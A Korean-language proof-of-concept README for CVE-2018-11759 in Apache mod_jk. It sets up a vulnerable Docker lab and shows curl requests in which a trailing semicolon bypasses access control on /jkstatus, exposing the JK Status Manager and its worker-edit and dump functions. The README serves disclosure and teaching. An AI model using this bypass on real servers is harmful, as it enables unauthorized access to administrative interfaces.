
CVE-2018-11759를 악용하는 방법을 보여주는 개념 증명
Apache Tomcat JK (mod_jk) Connector 1.2.0에서 1.2.44까지의 Apache Web Server (httpd) 특정 코드는 요청 경로를 URI-worker 맵에 매칭하기 전에 정규화하는 과정에서 일부 경계 사례를 올바르게 처리하지 못했습니다. httpd를 통해 Tomcat이 지원하는 URL의 일부만 노출된 경우, 특별히 조작된 요청이 리버스 프록시를 통해 애플리케이션 기능을 노출시킬 수 있었으며, 이는 리버스 프록시를 통해 애플리케이션에 접근하는 클라이언트에게 의도되지 않은 것이었습니다. 또한 일부 구성에서는 특별히 조작된 요청이 httpd에 구성된 접근 제어를 우회할 수 있었습니다. 이 문제는 CVE-2018-1323과 일부 중복되는 부분이 있지만, 동일하지는 않습니다.
아래의 개념 증명은 CVE-2018-11759를 악용하는 방법과 대상 정보 시스템에 미치는 영향을 보여줍니다.
docker-compose up -d
인내심을 가지세요, 처음에는 프로세스가 꽤 오래 걸릴 수 있습니다.
실행되면 취약한 프록시는 다음 주소 http://localhost 에서 접근할 수 있습니다.
JK 상태 관리자 인터페이스(mod_jk JkMount 지시어로 마운트된 엔드포인트, 예: AJP 워커 관리가 가능)는 외부 접근이 제한되도록 설정될 수 있습니다.
curl "http://localhost/jkstatus"
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access /jkstatus
on this server.</p>
</body></html>
이 제한은 보호된 엔드포인트에 세미콜론을 추가하여 우회할 수 있습니다.
curl "http://localhost/jkstatus;"
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head><title>JK Status Manager</title></head>
<body>
<h1>JK Status Manager for localhost:8080</h1>
<table><tr><td>Server Version:</td><td>Apache/2.4.6 (CentOS) mod_jk/1.2.44</td><td> </td><td>Server Time:</td><td>2018-11-01 09:05:49 +0000</td></tr>
<tr><td>JK Version:</td><td>mod_jk/1.2.44</td><td></td><td>Unix Seconds:</td><td>1541063149</td></tr></table>
<hr/>
<table><tbody valign="baseline"><tr>
<td><form method="get" action="/jkstatus;">
<input type="submit" value="Start auto refresh"/>
(every <input name="re" type="text" size="3" value="10"/> seconds)</form>
</td><td> | </td>
<td>
<form method="get" action="/jkstatus;">
<input type="submit" value="Change format"/>
<select name="mime" size="1"><option value="xml">XML</option><option value="prop">Properties</option><option value="txt">Text</option></select></form>
</td>
</tr></tbody></table>
<table><tbody valign="baseline"><tr>
<td>
[<a href="/jkstatus;?opt=32">Read Only</a>]
</td>
<td>
[<a href="/jkstatus;?cmd=dump">Dump</a>]
</td>
<td>
[<b>S</b>=Show only this worker, <b>E</b>=Edit worker, <b>R</b>=Reset worker state, <b>T</b>=Try worker recovery]<br/>
</td>
...
자세한 내용은 당사의 블로그 게시물에서 확인하세요.
이 문제는 Biznet Bilisim A.S.의 Alphan YAVAS에 의해 처음 발견되어 Apache Tomcat 보안 팀에 책임감 있게 보고되었습니다. 추가 공격 벡터는 immunIT의 Raphaël Arrouas (Xel)와 Jean Lejeune (Nitrax)에 의해 식별되었습니다.